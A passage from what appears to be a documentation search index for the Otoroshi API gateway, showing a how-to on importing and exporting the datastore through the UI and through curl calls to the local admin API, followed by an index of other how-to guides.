[\n \"default\"\n ]\n },\n \"clientId\": \"admin-api-apikey-id\",\n \"clientSecret\": \"admin-api-apikey-secret\",\n \"clientName\": \"Otoroshi Backoffice ApiKey\",\n \"description\": \"The apikey use by the Otoroshi UI\",\n \"authorizedGroup\": \"admin-api-group\",\n \"authorizedEntities\": [\n \"group_admin-api-group\"\n ],\n \"enabled\": true,\n \"readOnly\": false,\n \"allowClientIdOnly\": false,\n \"throttlingQuota\": 10000,\n \"dailyQuota\": 10000000,\n \"monthlyQuota\": 10000000,\n \"constrainedServicesOnly\": false,\n \"restrictions\": {\n \"enabled\": false,\n \"allowLast\": true,\n \"allowed\": [],\n \"forbidden\": [],\n \"notFound\": []\n },\n \"rotation\": {\n \"enabled\": false,\n \"rotationEvery\": 744,\n \"gracePeriod\": 168,\n \"nextSecret\": null\n },\n \"validUntil\": null,\n \"tags\": [],\n \"metadata\": {}\n }\n ],\n \"serviceDescriptors\": [\n {\n \"_loc\": {\n \"tenant\": \"default\",\n \"teams\": [\n \"default\"\n ]\n },\n \"id\": \"admin-api-service\",\n \"groupId\": \"admin-api-group\",\n \"groups\": [\n \"admin-api-group\"\n ],\n \"name\": \"otoroshi-admin-api\",\n \"description\": \"\",\n \"env\": \"prod\",\n \"domain\": \"oto.tools\",\n \"subdomain\": \"otoroshi-api\",\n \"targetsLoadBalancing\": {\n \"type\": \"RoundRobin\"\n },\n \"targets\": [\n {\n \"host\": \"127.0.0.1:8080\",\n \"scheme\": \"http\",\n \"weight\": 1,\n \"mtlsConfig\": {\n \"certs\": [],\n \"trustedCerts\": [],\n \"mtls\": false,\n \"loose\": false,\n \"trustAll\": false\n },\n \"tags\": [],\n \"metadata\": {},\n \"protocol\": \"HTTP/1.1\",\n \"predicate\": {\n \"type\": \"AlwaysMatch\"\n },\n \"ipAddress\": null\n }\n ],\n \"root\": \"/\",\n \"matchingRoot\": null,\n \"stripPath\": true,\n \"localHost\": \"127.0.0.1:8080\",\n \"localScheme\": \"http\",\n \"redirectToLocal\": false,\n \"enabled\": true,\n \"userFacing\": false,\n \"privateApp\": false,\n \"forceHttps\": false,\n \"logAnalyticsOnServer\": false,\n \"useAkkaHttpClient\": true,\n \"useNewWSClient\": false,\n \"tcpUdpTunneling\": false,\n \"detectApiKeySooner\": false,\n \"maintenanceMode\": false,\n \"buildMode\": false,\n \"strictlyPrivate\": false,\n \"enforceSecureCommunication\": true,\n \"sendInfoToken\": true,\n \"sendStateChallenge\": true,\n \"sendOtoroshiHeadersBack\": true,\n \"readOnly\": false,\n \"xForwardedHeaders\": false,\n \"overrideHost\": true,\n \"allowHttp10\": true,\n \"letsEncrypt\": false,\n \"secComHeaders\": {\n \"claimRequestName\": null,\n \"stateRequestName\": null,\n \"stateResponseName\": null\n },\n \"secComTtl\": 30000,\n \"secComVersion\": 1,\n \"secComInfoTokenVersion\": \"Legacy\",\n \"secComExcludedPatterns\": [],\n \"securityExcludedPatterns\": [],\n \"publicPatterns\": [\n \"/health\",\n \"/metrics\"\n ],\n \"privatePatterns\": [],\n \"additionalHeaders\": {\n \"Host\": \"otoroshi-admin-internal-api.oto.tools\"\n },\n \"additionalHeadersOut\": {},\n \"missingOnlyHeadersIn\": {},\n \"missingOnlyHeadersOut\": {},\n \"removeHeadersIn\": [],\n \"removeHeadersOut\": [],\n \"headersVerification\": {},\n \"matchingHeaders\": {},\n \"ipFiltering\": {\n \"whitelist\": [],\n \"blacklist\": []\n },\n \"api\": {\n \"exposeApi\": false\n },\n \"healthCheck\": {\n \"enabled\": false,\n \"url\": \"/\"\n },\n \"clientConfig\": {\n \"useCircuitBreaker\": true,\n \"retries\": 1,\n \"maxErrors\": 20,\n \"retryInitialDelay\": 50,\n \"backoffFactor\": 2,\n \"callTimeout\": 30000,\n \"callAndStreamTimeout\": 120000,\n \"connectionTimeout\": 10000,\n \"idleTimeout\": 60000,\n \"globalTimeout\": 30000,\n \"sampleInterval\": 2000,\n \"proxy\": {},\n \"customTimeouts\": [],\n \"cacheConnectionSettings\": {\n \"enabled\": false,\n \"queueSize\": 2048\n }\n },\n \"canary\": {\n \"enabled\": false,\n \"traffic\": 0.2,\n \"targets\": [],\n \"root\": \"/\"\n },\n \"gzip\": {\n \"enabled\": false,\n \"excludedPatterns\": [],\n \"whiteList\": [\n \"text/*\",\n \"application/javascript\",\n \"application/json\"\n ],\n \"blackList\": [],\n \"bufferSize\": 8192,\n \"chunkedThreshold\": 102400,\n \"compressionLevel\": 5\n },\n \"metadata\": {},\n \"tags\": [],\n \"chaosConfig\": {\n \"enabled\": false,\n \"largeRequestFaultConfig\": null,\n \"largeResponseFaultConfig\": null,\n \"latencyInjectionFaultConfig\": null,\n \"badResponsesFaultConfig\": null\n },\n \"jwtVerifier\": {\n \"type\": \"ref\",\n \"ids\": [],\n \"id\": null,\n \"enabled\": false,\n \"excludedPatterns\": []\n },\n \"secComSettings\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"secComUseSameAlgo\": true,\n \"secComAlgoChallengeOtoToBack\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"secComAlgoChallengeBackToOto\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"secComAlgoInfoToken\": {\n \"type\": \"HSAlgoSettings\",\n \"size\": 512,\n \"secret\": \"secret\",\n \"base64\": false\n },\n \"cors\": {\n \"enabled\": false,\n \"allowOrigin\": \"*\",\n \"exposeHeaders\": [],\n \"allowHeaders\": [],\n \"allowMethods\": [],\n \"excludedPatterns\": [],\n \"maxAge\": null,\n \"allowCredentials\": true\n },\n \"redirection\": {\n \"enabled\": false,\n \"code\": 303,\n \"to\": \"https://www.otoroshi.io\"\n },\n \"authConfigRef\": null,\n \"clientValidatorRef\": null,\n \"transformerRef\": null,\n \"transformerRefs\": [],\n \"transformerConfig\": {},\n \"apiKeyConstraints\": {\n \"basicAuth\": {\n \"enabled\": true,\n \"headerName\": null,\n \"queryName\": null\n },\n \"customHeadersAuth\": {\n \"enabled\": true,\n \"clientIdHeaderName\": null,\n \"clientSecretHeaderName\": null\n },\n \"clientIdAuth\": {\n \"enabled\": true,\n \"headerName\": null,\n \"queryName\": null\n },\n \"jwtAuth\": {\n \"enabled\": true,\n \"secretSigned\": true,\n \"keyPairSigned\": true,\n \"includeRequestAttributes\": false,\n \"maxJwtLifespanSecs\": null,\n \"headerName\": null,\n \"queryName\": null,\n \"cookieName\": null\n },\n \"routing\": {\n \"noneTagIn\": [],\n \"oneTagIn\": [],\n \"allTagsIn\": [],\n \"noneMetaIn\": {},\n \"oneMetaIn\": {},\n \"allMetaIn\": {},\n \"noneMetaKeysIn\": [],\n \"oneMetaKeyIn\": [],\n \"allMetaKeysIn\": []\n }\n },\n \"restrictions\": {\n \"enabled\": false,\n \"allowLast\": true,\n \"allowed\": [],\n \"forbidden\": [],\n \"notFound\": []\n },\n \"accessValidator\": {\n \"enabled\": false,\n \"refs\": [],\n \"config\": {},\n \"excludedPatterns\": []\n },\n \"preRouting\": {\n \"enabled\": false,\n \"refs\": [],\n \"config\": {},\n \"excludedPatterns\": []\n },\n \"plugins\": {\n \"enabled\": false,\n \"refs\": [],\n \"config\": {},\n \"excluded\": []\n },\n \"hosts\": [\n \"otoroshi-api.oto.tools\"\n ],\n \"paths\": [],\n \"handleLegacyDomain\": true,\n \"issueCert\": false,\n \"issueCertCA\": null\n }\n ],\n \"errorTemplates\": [],\n \"jwtVerifiers\": [],\n \"authConfigs\": [],\n \"certificates\": [],\n \"clientValidators\": [],\n \"scripts\": [],\n \"tcpServices\": [],\n \"dataExporters\": [],\n \"tenants\": [\n {\n \"id\": \"default\",\n \"name\": \"Default organization\",\n \"description\": \"The default organization\",\n \"metadata\": {},\n \"tags\": []\n }\n ],\n \"teams\": [\n {\n \"id\": \"default\",\n \"tenant\": \"default\",\n \"name\": \"Default Team\",\n \"description\": \"The default Team of the default organization\",\n \"metadata\": {},\n \"tags\": []\n }\n ]\n}\n```\n\nRun an Otoroshi with the previous file as parameter.\n\n```sh\njava \\\n -Dotoroshi.adminPassword=password \\\n -Dotoroshi.importFrom=./initial-state.json \\\n -jar otoroshi.jar \n```\n\nThis should show\n\n```sh\n...\n[info] otoroshi-env - Importing from: ./initial-state.json\n[info] otoroshi-env - Successful import !\n...\n[info] p.c.s.AkkaHttpServer - Listening for HTTP on /0:0:0:0:0:0:0:0:8080\n...\n```\n\n> Warning : when you using Otoroshi with a datastore different from file or in-memory, Otoroshi will not reload the initialization script. If you expected, you have to manually clean your store.\n\n### Export the current datastore via the danger zone\n\nWhen Otoroshi is running, you can backup the global configuration store from the UI. Navigate to your instance (in our case @link:[http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone](http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone) { open=new }) and scroll to the bottom page. \n\nClick on `Full export` button to download the full global configuration.\n\n### Import a datastore from file via the danger zone\n\nWhen Otoroshi is running, you can recover a global configuration from the UI. Navigate to your instance (in our case @link:[http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone](http://otoroshi.oto.tools:8080/bo/dashboard/dangerzone) { open=new }) and scroll to the bottom of the page. \n\nClick on `Recover from a full export file` button to apply all configurations from a file.\n\n### Export the current datastore with the Admin API\n\nOtoroshi exposes his own Admin API to manage Otoroshi resources. To call this api, you need to have an api key with the rights on `Otoroshi Admin Api group`. This group includes the `Otoroshi-admin-api` service that you can found on the services page. \n\nBy default, and with our initial configuration, Otoroshi has already created an api key named `Otoroshi Backoffice ApiKey`. You can verify the rights of an api key on its page by checking the `Authorized On` field (you should find the `Otoroshi Admin Api group` inside).\n\nThe default api key id and secret are `admin-api-apikey-id` and `admin-api-apikey-secret`.\n\nRun the next command with these values.\n\n```sh\ncurl \\\n -H 'Content-Type: application/json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n 'http://otoroshi-api.oto.tools:8080/api/otoroshi.json'\n```\n\nWhen calling the `/api/otoroshi.json`, the return should be the current datastore including the service descriptors, the api keys, all others resources like certificates and authentification modules, and the the global config (representing the form of the danger zone).\n\n### Import the current datastore with the Admin API\n\nAs the same way of previous section, you can erase the current datastore with a POST request. The route is the same : `/api/otoroshi.json`.\n\n```sh\ncurl \\\n -X POST \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"label\" : \"Otoroshi export\",\n \"dateRaw\" : 1634714811217,\n \"date\" : \"2021-10-20 09:26:51\",\n \"stats\" : {\n \"calls\" : 4,\n \"dataIn\" : 0,\n \"dataOut\" : 97991\n },\n \"config\" : {\n \"tags\" : [ ],\n \"letsEncryptSettings\" : {\n \"enabled\" : false,\n \"server\" : \"acme://letsencrypt.org/staging\",\n \"emails\" : [ ],\n \"contacts\" : [ ],\n \"publicKey\" : \"\",\n \"privateKey\" : \"\"\n },\n \"lines\" : [ \"prod\" ],\n \"maintenanceMode\" : false,\n \"enableEmbeddedMetrics\" : true,\n \"streamEntityOnly\" : true,\n \"autoLinkToDefaultGroup\" : true,\n \"limitConcurrentRequests\" : false,\n \"maxConcurrentRequests\" : 1000,\n \"maxHttp10ResponseSize\" : 4194304,\n \"useCircuitBreakers\" : true,\n \"apiReadOnly\" : false,\n \"u2fLoginOnly\" : false,\n \"trustXForwarded\" : true,\n \"ipFiltering\" : {\n \"whitelist\" : [ ],\n \"blacklist\" : [ ]\n },\n \"throttlingQuota\" : 10000000,\n \"perIpThrottlingQuota\" : 10000000,\n \"analyticsWebhooks\" : [ ],\n \"alertsWebhooks\" : [ ],\n \"elasticWritesConfigs\" : [ ],\n \"elasticReadsConfig\" : null,\n \"alertsEmails\" : [ ],\n \"logAnalyticsOnServer\" : false,\n \"useAkkaHttpClient\" : false,\n \"endlessIpAddresses\" : [ ],\n \"statsdConfig\" : null,\n \"kafkaConfig\" : {\n \"servers\" : [ ],\n \"keyPass\" : null,\n \"keystore\" : null,\n \"truststore\" : null,\n \"topic\" : \"otoroshi-events\",\n \"mtlsConfig\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n }\n },\n \"backOfficeAuthRef\" : null,\n \"mailerSettings\" : {\n \"type\" : \"none\"\n },\n \"cleverSettings\" : null,\n \"maxWebhookSize\" : 100,\n \"middleFingers\" : false,\n \"maxLogsSize\" : 10000,\n \"otoroshiId\" : \"83539cbca-76ee-4abc-ad31-a4794e873848\",\n \"snowMonkeyConfig\" : {\n \"enabled\" : false,\n \"outageStrategy\" : \"OneServicePerGroup\",\n \"includeUserFacingDescriptors\" : false,\n \"dryRun\" : false,\n \"timesPerDay\" : 1,\n \"startTime\" : \"09:00:00.000\",\n \"stopTime\" : \"23:59:59.000\",\n \"outageDurationFrom\" : 600000,\n \"outageDurationTo\" : 3600000,\n \"targetGroups\" : [ ],\n \"chaosConfig\" : {\n \"enabled\" : true,\n \"largeRequestFaultConfig\" : null,\n \"largeResponseFaultConfig\" : null,\n \"latencyInjectionFaultConfig\" : {\n \"ratio\" : 0.2,\n \"from\" : 500,\n \"to\" : 5000\n },\n \"badResponsesFaultConfig\" : {\n \"ratio\" : 0.2,\n \"responses\" : [ {\n \"status\" : 502,\n \"body\" : \"{\\\"error\\\":\\\"Nihonzaru everywhere ...\\\"}\",\n \"headers\" : {\n \"Content-Type\" : \"application/json\"\n }\n } ]\n }\n }\n },\n \"scripts\" : {\n \"enabled\" : false,\n \"transformersRefs\" : [ ],\n \"transformersConfig\" : { },\n \"validatorRefs\" : [ ],\n \"validatorConfig\" : { },\n \"preRouteRefs\" : [ ],\n \"preRouteConfig\" : { },\n \"sinkRefs\" : [ ],\n \"sinkConfig\" : { },\n \"jobRefs\" : [ ],\n \"jobConfig\" : { }\n },\n \"geolocationSettings\" : {\n \"type\" : \"none\"\n },\n \"userAgentSettings\" : {\n \"enabled\" : false\n },\n \"autoCert\" : {\n \"enabled\" : false,\n \"replyNicely\" : false,\n \"caRef\" : null,\n \"allowed\" : [ ],\n \"notAllowed\" : [ ]\n },\n \"tlsSettings\" : {\n \"defaultDomain\" : null,\n \"randomIfNotFound\" : false,\n \"includeJdkCaServer\" : true,\n \"includeJdkCaClient\" : true,\n \"trustedCAsServer\" : [ ]\n },\n \"plugins\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excluded\" : [ ]\n },\n \"metadata\" : { }\n },\n \"admins\" : [ ],\n \"simpleAdmins\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"username\" : \"admin@otoroshi.io\",\n \"password\" : \"$2a$10$iQRkqjKTW.5XH8ugQrnMDeUstx4KqmIeQ58dHHdW2Dv1FkyyAs4C.\",\n \"label\" : \"Otoroshi Admin\",\n \"createdAt\" : 1634651307724,\n \"type\" : \"SIMPLE\",\n \"metadata\" : { },\n \"tags\" : [ ],\n \"rights\" : [ {\n \"tenant\" : \"*:rw\",\n \"teams\" : [ \"*:rw\" ]\n } ]\n } ],\n \"serviceGroups\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"admin-api-group\",\n \"name\" : \"Otoroshi Admin Api group\",\n \"description\" : \"No description\",\n \"tags\" : [ ],\n \"metadata\" : { }\n }, {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"default\",\n \"name\" : \"default-group\",\n \"description\" : \"The default service group\",\n \"tags\" : [ ],\n \"metadata\" : { }\n } ],\n \"apiKeys\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"clientId\" : \"admin-api-apikey-id\",\n \"clientSecret\" : \"admin-api-apikey-secret\",\n \"clientName\" : \"Otoroshi Backoffice ApiKey\",\n \"description\" : \"The apikey use by the Otoroshi UI\",\n \"authorizedGroup\" : \"admin-api-group\",\n \"authorizedEntities\" : [ \"group_admin-api-group\" ],\n \"enabled\" : true,\n \"readOnly\" : false,\n \"allowClientIdOnly\" : false,\n \"throttlingQuota\" : 10000,\n \"dailyQuota\" : 10000000,\n \"monthlyQuota\" : 10000000,\n \"constrainedServicesOnly\" : false,\n \"restrictions\" : {\n \"enabled\" : false,\n \"allowLast\" : true,\n \"allowed\" : [ ],\n \"forbidden\" : [ ],\n \"notFound\" : [ ]\n },\n \"rotation\" : {\n \"enabled\" : false,\n \"rotationEvery\" : 744,\n \"gracePeriod\" : 168,\n \"nextSecret\" : null\n },\n \"validUntil\" : null,\n \"tags\" : [ ],\n \"metadata\" : { }\n } ],\n \"serviceDescriptors\" : [ {\n \"_loc\" : {\n \"tenant\" : \"default\",\n \"teams\" : [ \"default\" ]\n },\n \"id\" : \"admin-api-service\",\n \"groupId\" : \"admin-api-group\",\n \"groups\" : [ \"admin-api-group\" ],\n \"name\" : \"otoroshi-admin-api\",\n \"description\" : \"\",\n \"env\" : \"prod\",\n \"domain\" : \"oto.tools\",\n \"subdomain\" : \"otoroshi-api\",\n \"targetsLoadBalancing\" : {\n \"type\" : \"RoundRobin\"\n },\n \"targets\" : [ {\n \"host\" : \"127.0.0.1:8080\",\n \"scheme\" : \"http\",\n \"weight\" : 1,\n \"mtlsConfig\" : {\n \"certs\" : [ ],\n \"trustedCerts\" : [ ],\n \"mtls\" : false,\n \"loose\" : false,\n \"trustAll\" : false\n },\n \"tags\" : [ ],\n \"metadata\" : { },\n \"protocol\" : \"HTTP/1.1\",\n \"predicate\" : {\n \"type\" : \"AlwaysMatch\"\n },\n \"ipAddress\" : null\n } ],\n \"root\" : \"/\",\n \"matchingRoot\" : null,\n \"stripPath\" : true,\n \"localHost\" : \"127.0.0.1:8080\",\n \"localScheme\" : \"http\",\n \"redirectToLocal\" : false,\n \"enabled\" : true,\n \"userFacing\" : false,\n \"privateApp\" : false,\n \"forceHttps\" : false,\n \"logAnalyticsOnServer\" : false,\n \"useAkkaHttpClient\" : true,\n \"useNewWSClient\" : false,\n \"tcpUdpTunneling\" : false,\n \"detectApiKeySooner\" : false,\n \"maintenanceMode\" : false,\n \"buildMode\" : false,\n \"strictlyPrivate\" : false,\n \"enforceSecureCommunication\" : true,\n \"sendInfoToken\" : true,\n \"sendStateChallenge\" : true,\n \"sendOtoroshiHeadersBack\" : true,\n \"readOnly\" : false,\n \"xForwardedHeaders\" : false,\n \"overrideHost\" : true,\n \"allowHttp10\" : true,\n \"letsEncrypt\" : false,\n \"secComHeaders\" : {\n \"claimRequestName\" : null,\n \"stateRequestName\" : null,\n \"stateResponseName\" : null\n },\n \"secComTtl\" : 30000,\n \"secComVersion\" : 1,\n \"secComInfoTokenVersion\" : \"Legacy\",\n \"secComExcludedPatterns\" : [ ],\n \"securityExcludedPatterns\" : [ ],\n \"publicPatterns\" : [ \"/health\", \"/metrics\" ],\n \"privatePatterns\" : [ ],\n \"additionalHeaders\" : {\n \"Host\" : \"otoroshi-admin-internal-api.oto.tools\"\n },\n \"additionalHeadersOut\" : { },\n \"missingOnlyHeadersIn\" : { },\n \"missingOnlyHeadersOut\" : { },\n \"removeHeadersIn\" : [ ],\n \"removeHeadersOut\" : [ ],\n \"headersVerification\" : { },\n \"matchingHeaders\" : { },\n \"ipFiltering\" : {\n \"whitelist\" : [ ],\n \"blacklist\" : [ ]\n },\n \"api\" : {\n \"exposeApi\" : false\n },\n \"healthCheck\" : {\n \"enabled\" : false,\n \"url\" : \"/\"\n },\n \"clientConfig\" : {\n \"useCircuitBreaker\" : true,\n \"retries\" : 1,\n \"maxErrors\" : 20,\n \"retryInitialDelay\" : 50,\n \"backoffFactor\" : 2,\n \"callTimeout\" : 30000,\n \"callAndStreamTimeout\" : 120000,\n \"connectionTimeout\" : 10000,\n \"idleTimeout\" : 60000,\n \"globalTimeout\" : 30000,\n \"sampleInterval\" : 2000,\n \"proxy\" : { },\n \"customTimeouts\" : [ ],\n \"cacheConnectionSettings\" : {\n \"enabled\" : false,\n \"queueSize\" : 2048\n }\n },\n \"canary\" : {\n \"enabled\" : false,\n \"traffic\" : 0.2,\n \"targets\" : [ ],\n \"root\" : \"/\"\n },\n \"gzip\" : {\n \"enabled\" : false,\n \"excludedPatterns\" : [ ],\n \"whiteList\" : [ \"text/*\", \"application/javascript\", \"application/json\" ],\n \"blackList\" : [ ],\n \"bufferSize\" : 8192,\n \"chunkedThreshold\" : 102400,\n \"compressionLevel\" : 5\n },\n \"metadata\" : { },\n \"tags\" : [ ],\n \"chaosConfig\" : {\n \"enabled\" : false,\n \"largeRequestFaultConfig\" : null,\n \"largeResponseFaultConfig\" : null,\n \"latencyInjectionFaultConfig\" : null,\n \"badResponsesFaultConfig\" : null\n },\n \"jwtVerifier\" : {\n \"type\" : \"ref\",\n \"ids\" : [ ],\n \"id\" : null,\n \"enabled\" : false,\n \"excludedPatterns\" : [ ]\n },\n \"secComSettings\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"secComUseSameAlgo\" : true,\n \"secComAlgoChallengeOtoToBack\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"secComAlgoChallengeBackToOto\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"secComAlgoInfoToken\" : {\n \"type\" : \"HSAlgoSettings\",\n \"size\" : 512,\n \"secret\" : \"secret\",\n \"base64\" : false\n },\n \"cors\" : {\n \"enabled\" : false,\n \"allowOrigin\" : \"*\",\n \"exposeHeaders\" : [ ],\n \"allowHeaders\" : [ ],\n \"allowMethods\" : [ ],\n \"excludedPatterns\" : [ ],\n \"maxAge\" : null,\n \"allowCredentials\" : true\n },\n \"redirection\" : {\n \"enabled\" : false,\n \"code\" : 303,\n \"to\" : \"https://www.otoroshi.io\"\n },\n \"authConfigRef\" : null,\n \"clientValidatorRef\" : null,\n \"transformerRef\" : null,\n \"transformerRefs\" : [ ],\n \"transformerConfig\" : { },\n \"apiKeyConstraints\" : {\n \"basicAuth\" : {\n \"enabled\" : true,\n \"headerName\" : null,\n \"queryName\" : null\n },\n \"customHeadersAuth\" : {\n \"enabled\" : true,\n \"clientIdHeaderName\" : null,\n \"clientSecretHeaderName\" : null\n },\n \"clientIdAuth\" : {\n \"enabled\" : true,\n \"headerName\" : null,\n \"queryName\" : null\n },\n \"jwtAuth\" : {\n \"enabled\" : true,\n \"secretSigned\" : true,\n \"keyPairSigned\" : true,\n \"includeRequestAttributes\" : false,\n \"maxJwtLifespanSecs\" : null,\n \"headerName\" : null,\n \"queryName\" : null,\n \"cookieName\" : null\n },\n \"routing\" : {\n \"noneTagIn\" : [ ],\n \"oneTagIn\" : [ ],\n \"allTagsIn\" : [ ],\n \"noneMetaIn\" : { },\n \"oneMetaIn\" : { },\n \"allMetaIn\" : { },\n \"noneMetaKeysIn\" : [ ],\n \"oneMetaKeyIn\" : [ ],\n \"allMetaKeysIn\" : [ ]\n }\n },\n \"restrictions\" : {\n \"enabled\" : false,\n \"allowLast\" : true,\n \"allowed\" : [ ],\n \"forbidden\" : [ ],\n \"notFound\" : [ ]\n },\n \"accessValidator\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excludedPatterns\" : [ ]\n },\n \"preRouting\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excludedPatterns\" : [ ]\n },\n \"plugins\" : {\n \"enabled\" : false,\n \"refs\" : [ ],\n \"config\" : { },\n \"excluded\" : [ ]\n },\n \"hosts\" : [ \"otoroshi-api.oto.tools\" ],\n \"paths\" : [ ],\n \"handleLegacyDomain\" : true,\n \"issueCert\" : false,\n \"issueCertCA\" : null\n } ],\n \"errorTemplates\" : [ ],\n \"jwtVerifiers\" : [ ],\n \"authConfigs\" : [ ],\n \"certificates\" : [],\n \"clientValidators\" : [ ],\n \"scripts\" : [ ],\n \"tcpServices\" : [ ],\n \"dataExporters\" : [ ],\n \"tenants\" : [ {\n \"id\" : \"default\",\n \"name\" : \"Default organization\",\n \"description\" : \"The default organization\",\n \"metadata\" : { },\n \"tags\" : [ ]\n } ],\n \"teams\" : [ {\n \"id\" : \"default\",\n \"tenant\" : \"default\",\n \"name\" : \"Default Team\",\n \"description\" : \"The default Team of the default organization\",\n \"metadata\" : { },\n \"tags\" : [ ]\n } ]\n }' \\\n 'http://otoroshi-api.oto.tools:8080/api/otoroshi.json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \n```\n\nThis should output :\n\n```json\n{ \"done\":true }\n```\n\n> Note : be very carefully with this POST command. If you send a wrong JSON, you risk breaking your instance.\n\nThe second way is to send the same configuration but from a file. You can pass two kind of file : a `json` file or a `ndjson` file. Both files are available as export methods on the danger zone.\n\n```sh\n# the curl is run from a folder containing the initial-state.json file \ncurl -X POST \\\n -H \"Content-Type: application/json\" \\\n -d @./initial-state.json \\\n 'http://otoroshi-api.oto.tools:8080/api/otoroshi.json' \\\n -u admin-api-apikey-id:admin-api-apikey-secret\n```\n\nThis should output :\n\n```json\n{ \"done\":true }\n```\n\n> Note: To send a ndjson file, you have to set the Content-Type header at `application/x-ndjson`" + }, + { + "name": "index.md", + "id": "/how-to-s/index.md", + "url": "/how-to-s/index.html", + "title": "How to's", + "content": "# How to's\n\nin this section, we will explain some mainstream Otoroshi usage scenario's \n\n* @ref:[Otoroshi and WASM](./wasm-usage.md)\n* @ref:[Wasmo](./wasmo-installation.md)\n* @ref:[Tailscale integration](./tailscale-integration.md)\n* @ref:[End-to-end mTLS](./end-to-end-mtls.md)\n* @ref:[Send alerts by emails](./export-alerts-using-mailgun.md)\n* @ref:[Export events to Elasticsearch](./export-events-to-elastic.md)\n* @ref:[Import/export Otoroshi datastore](./import-export-otoroshi-datastore.md)\n* @ref:[Secure an app with Auth0](./secure-app-with-auth0.md)\n* @ref:[Secure an app with Keycloak](./secure-app-with-keycloak.md)\n* @ref:[Secure an app with LDAP](./secure-app-with-ldap.md)\n* @ref:[Secure an api with apikeys](./secure-with-apikey.md)\n* @ref:[Secure an app with OAuth1](./secure-with-oauth1-client.md)\n* @ref:[Secure an api with OAuth2 client_credentials flow](./secure-with-oauth2-client-credentials.md)\n* @ref:[Setup an Otoroshi cluster](./setup-otoroshi-cluster.md)\n* @ref:[TLS termination using Let's Encrypt](./tls-using-lets-encrypt.md)\n* @ref:[Secure an app with jwt verifiers](./secure-an-app-with-jwt-verifiers.md)\n* @ref:[Secure the communication between a backend app and Otoroshi](./secure-the-communication-between-a-backend-app-and-otoroshi.md)\n* @ref:[TLS termination using your own certificates](./tls-termination-using-own-certificates.md)\n* @ref:[The resources loader](./resources-loader.md)\n* @ref:[Log levels customization](./custom-log-levels.md)\n* @ref:[Initial state customization](./custom-initial-state.md)\n* @ref:[Communicate with Kafka](./communicate-with-kafka.md)\n* @ref:[Create your custom Authentication module](./create-custom-auth-module.md)\n* @ref:[Working with Eureka](./working-with-eureka.md)\n* @ref:[Instantiate a WAF with Coraza](./instantiate-waf-coraza.md)\n* @ref:[Quickly expose a website and static files](./zip-backend-plugin.md)\n\n@@@ index\n\n\n* [WASM usage](./wasm-usage.md)\n* [wasmo](./wasmo-installation.md)\n* [Tailscale integration](./tailscale-integration.md)\n* [End-to-end mTLS](./end-to-end-mtls.md)\n* [Send alerts by emails](./export-alerts-using-mailgun.md)\n* [Export events to Elasticsearch](./export-events-to-elastic.md)\n* [Import/export Otoroshi datastore](./import-export-otoroshi-datastore.md)\n* [Secure an app with Auth0](./secure-app-with-auth0.md)\n* [Secure an app with Keycloak](./secure-app-with-keycloak.md)\n* [Secure an app with LDAP](./secure-app-with-ldap.md)\n* [Secure an api with apikeys](./secure-with-apikey.md)\n* [Secure an app with OAuth1](./secure-with-oauth1-client.md)\n* [Secure an api with OAuth2 client_credentials flow](./secure-with-oauth2-client-credentials.md)\n* [Setup an Otoroshi cluster](./setup-otoroshi-cluster.md)\n* [TLS termination using Let's Encrypt](./tls-using-lets-encrypt.md)\n* [Secure an app with jwt verifiers](./secure-an-app-with-jwt-verifiers.md)\n* [Secure the communication between a backend app and Otoroshi](./secure-the-communication-between-a-backend-app-and-otoroshi.md)\n* [TLS termination using your own certificates](./tls-termination-using-own-certificates.md)\n* [The resources loader](./resources-loader.md)\n* [Log levels customization](./custom-log-levels.md)\n* [Initial state customization](./custom-initial-state.md)\n* [Communicate with Kafka](./communicate-with-kafka.md)\n* [Create your custom Authentication module](./create-custom-auth-module.md)\n* [Working with Eureka](./working-with-eureka.md)\n* [Instantiate a WAF with Coraza](./instantiate-waf-coraza.md)\n* [Zip Backend plugin](./zip-backend-plugin.md) \n@@@\n" + }, + { + "name": "instantiate-waf-coraza.md", + "id": "/how-to-s/instantiate-waf-coraza.md", + "url": "/how-to-s/instantiate-waf-coraza.html", + "title": "Instantiate a WAF with Coraza", + "content": "# Instantiate a WAF with Coraza\n\n
\nRoute plugins:\nCoraza WAF\nOverride Host Header\n
